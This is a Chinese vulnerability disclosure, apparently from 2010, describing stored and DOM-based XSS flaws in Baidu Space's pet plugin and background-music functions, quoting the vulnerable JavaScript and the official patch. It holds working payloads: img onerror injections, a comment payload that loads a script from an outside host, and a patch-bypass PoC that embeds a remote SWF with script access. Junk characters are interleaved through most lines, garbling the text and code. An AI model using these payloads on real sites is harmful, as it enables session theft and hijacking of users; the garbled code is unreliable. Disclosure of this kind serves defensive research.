百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
: }7 {! b- }! v% C9 m7 m2 E) Y/ M7 ]& N! Y3 S5 P
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. ) v1 q& p" J2 `! [4 V/ j9 ]
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 + M1 `2 K/ Y, `4 H1 k) f
/ E$ }! h* g% y9 Z7 h/ ]& l将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> Z! v8 ^3 h$ n3 I# o! a9 M" V; x# z
其中BdUtil.insertWBR为
" u, A4 }5 |2 L9 \/ T( Tfunction(text, step) {
6 K- ^/ X5 p( S var textarea = textAreaCache || getContainer();
& b( U5 q/ o# M1 B+ K4 S( q1 J6 s: M if (!textarea) { 1 J% K/ U$ {1 P2 e0 p
return text; , \ P$ B) T1 y* o, I$ X0 ~' K
}
. s% F- I" } b" D textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 5 v R! e- ^0 R5 p
var string = textarea.value;
+ J9 g% c+ w2 c% f var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 6 _) G+ D) d5 i- E$ k2 i
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); U1 D8 m+ B% r4 z5 r
return result;
) M6 E7 j) B7 |, Z2 @+ W}
' c5 O" Z8 r2 f) t% a在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
. H8 k$ z$ x% [/ Z, L9 g: Q测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 9 T8 g6 o C8 `. P; `! q" w
4 |/ H9 C# }7 J. @6 U* x! ?
二:creatbgmusic() Dom-Xss Bug " D7 }: [; v$ `% y5 y- }- T K
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 8 m, e% g" F( U; U3 D# [, Z* D7 l% X
# p6 P, ~% ?+ `7 P& c$ p" }3 Y! C, e
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: ( I, R6 X$ ?( h, i) i4 D( Y) K
; M) y. t& {7 a" ?, V+ h9 n- a: Z, L
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { , B, { u3 h0 h; A1 I
//传入的murl赋值到bgmusic1和bgmusic2中 H1 l: h* I, F- V: ~( O' c
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
& H1 v1 A$ g2 K1 P4 f! j6 q var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
: d; k* X5 N0 E E3 G& X: \5 V if (musicnum <= 1) { 0 @$ t8 w1 u; h9 M* Z3 I" \5 Y
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
! O& G4 \/ P8 K9 T: O, @3 t# M }
( K, x. Z, x* d bgmusic1 += "</OBJECT>"; ( |0 b W. K/ {) r% ^3 b
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; % r' D2 l4 c, u
if (musicnum <= 1) { 6 [5 ?- O" H0 ?1 Z% [9 D, w' x/ F* F
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
; x6 [) @, `% C1 R9 m; u) q: R }
* R t) b( K2 G; u& A0 w5 G, ^% n bgmusic2 += "> </EMBED>";
; b" B4 q6 ~) J& ^' t- [ var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
/ f% g$ i- e4 c4 S2 `& ~2 |8 o var bgmus = detectWMP(); & `9 H( N6 J% N. m
if (functype == "FckMusicHelper") { 3 z! J$ \; D/ d
if (bgmus.installed) { * {0 `+ w2 U% B0 `
if (bgmus.type == "IE") {
4 m5 Z2 }+ S! Z! T/ Q) U: ~ return bgmusic1; 6 _) q. C6 ^4 w0 n
} else if (bgmus.type == "NS") {
% y+ D2 l. F9 g) ~/ @ return bgmusic2; + }4 p' _8 t" q# S. i2 H
} ]" X a* v+ K* ~8 ^
} else {
J2 }3 d, N! R0 q' K) X% ^ return bgmusic3;
3 |$ ~$ k( g, `' N }
; @* o% t x4 h5 Q3 v# g0 z. r( M } else { " L+ W5 v6 `" O1 p
if (bgmus.installed) { ) @8 Z3 g5 o! W, U |, j( F
//document.write 直接输出bgmusic变量 导致xss
1 `+ ^% E, E! g, z if (bgmus.type == "IE") { * |9 P4 x$ w/ G+ @
document.write(bgmusic1);
/ {3 h6 l) x I0 }0 ? h- \( ^ } else if (bgmus.type == "NS") { 1 m. r) q- l; \
document.write(bgmusic2);
0 q( F$ f' t' h( K9 u1 c/ y8 J& D4 L } 6 `" u6 T6 u) C/ @3 @( L
} else { 9 ^+ U1 q, o/ K! r/ ]; I
document.write(bgmusic3); $ Y, y/ @2 u2 b
} - J3 D4 c: H. I
return ""; ! s0 X2 I% {3 p Z# y+ A
} " Q3 j; ?- e" N m5 J! {
} 8 o" Y/ q% @8 r& b* }
$ C7 G6 H2 a: ^
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
, F, t2 m8 Z0 B% n% H$ U
8 w. H* R. [; j' S( |+ ^function initBlogTextForFCK(){ 4 U0 X+ O5 O6 C: `; l: }6 x& L
//fck init music 1 ]# {1 [0 L2 ]" Z* P6 k
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
; x# D9 x% W' i4 K1 F, n, X( z hvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 " x- ~0 o8 P. T. h
var isAutoPlay=true;
8 u" @! c* o# _1 E, f' y1 Tfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 2 K' `& p, I7 d7 w- t+ H7 \
var img=imgBox; - L9 Y$ H. N; U
if(img.getAttribute(’rel’)){ b E u6 q- Z* q" V, \/ O
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
+ N# l6 E! A: x, {) h q+ i( O var musicDiv = document.createElement("SPAN"); 6 U5 X: v8 K; G" o! m8 X6 l, z1 u# c
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
+ u% l. h& _7 a $ a! q2 n6 C7 j
..........................
* {% b, D+ g( }8 e/ V) w! X8 r. K! Q3 I 4 l1 ?! [8 q/ j' M* t
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
4 ~9 x' D5 t: G, v) g9 @ var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
1 {- v! i& S: c N0 ^. b shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); ( o5 k# Q( M+ |/ z+ D& u
musicDiv.innerHTML=shtml;
0 f V' o2 q3 b5 {! n% Q I i--;n--;
9 |2 ]) J+ N4 R- } } # i& x+ s) P8 [! @' E! v h9 b1 \
} $ \' R h6 z( t- C! |, O: I( {
# ~" T7 \; a# a0 O5 Z" H" g1 P从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. ( T3 [! q3 Q3 a/ b; [$ I: N
& @) _9 }+ D; }& A8 j4 a/ [
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> ; Q! O' W W5 W& ]& s
3 m5 `% v. @' w: W- F C* O; p. B6 k等待官方补丁 % A/ ?# ^7 ~0 ]" ~9 v* R
8 ]$ }$ ]# f0 e# n! N/ I+ a% {+ H
update 2010年5月13日
6 c7 U4 C* W+ n& D0 t+ X, P* Z: N, m) E, ?$ E4 v- X7 U
官方补丁: 7 Y& o/ M1 a9 w+ B# Q
+ i( N' `8 C( nvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); " ?2 k$ C) j) K' k% M
改为:
3 s0 ?! K' v: xvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 3 q8 u6 b5 k# {- m9 P: A
& S1 y1 q: z; x* c6 R3 q) b4 `
update 2010年5月13日 21:50:37 6 A8 N/ \2 _! \1 D3 W+ g' o2 O5 Y
6 e2 F' {" O; s/ }补丁存在漏洞 没有过滤" 可以继续跨: p2 T/ `$ @' Y! ^
4 M# M. G5 O8 l, f- k* z5 z
NEW POC: 7 } l7 b! C2 z# _; o; Y8 T) R
4 E, d: z+ B/ e& ^
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 7 x: ~) G4 k0 A/ z" B
) |/ h9 _ @% r0 T7 h9 z3 k
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/># Z! r# O( A! Y3 W
) V6 l! T# I. b2 o( E/ ]! T3 i |